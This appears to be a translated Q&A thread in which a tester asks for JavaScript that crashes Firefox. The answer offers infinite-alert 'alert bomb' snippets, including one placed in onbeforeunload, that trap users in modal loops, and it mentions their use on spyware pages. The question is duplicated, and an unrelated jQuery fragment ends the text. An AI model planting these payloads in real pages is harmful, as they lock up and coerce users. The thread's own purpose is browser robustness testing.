我是测试团队的一员,被要求在Firefox浏览器中使用JavaScript进行“恶意行为”测试。我尝试了这些方法来关闭浏览器,但它们只会引起弹窗提示关闭脚本,并没有更糟糕的影响。
还有其他想法吗?
我是测试团队的一员,被要求在Firefox浏览器中使用JavaScript进行“恶意行为”测试。我尝试了这些方法来关闭浏览器,但它们只会引起弹窗提示关闭脚本,并没有更糟糕的影响。
还有其他想法吗?
<html>
<body>
<a href="#" onclick="die()">click me!</a>
<script>
function die () {
setTimeout(function () {die(); die()}, 0)
}
</script>
</body>
</html>
脚本执行时间看门狗是很好的,但它不能解决模态循环问题。跳转到 alert
、confirm
或 prompt
框会停止计时器,导致以下情况:
<script>while(true) alert('alert bomb');</script>
<body onbeforeunload="while(true) alert('alert bomb');">
非常难以实现。(要准备好任务管理器。)
使用难以逃脱的模态循环是侵略型间谍软件安装页面的常用策略。(“点击‘是’立即安装呕吐条或面对无尽的警告框...”)
<script>
$("div.content").empty();
$("div.content").html(data);
</script>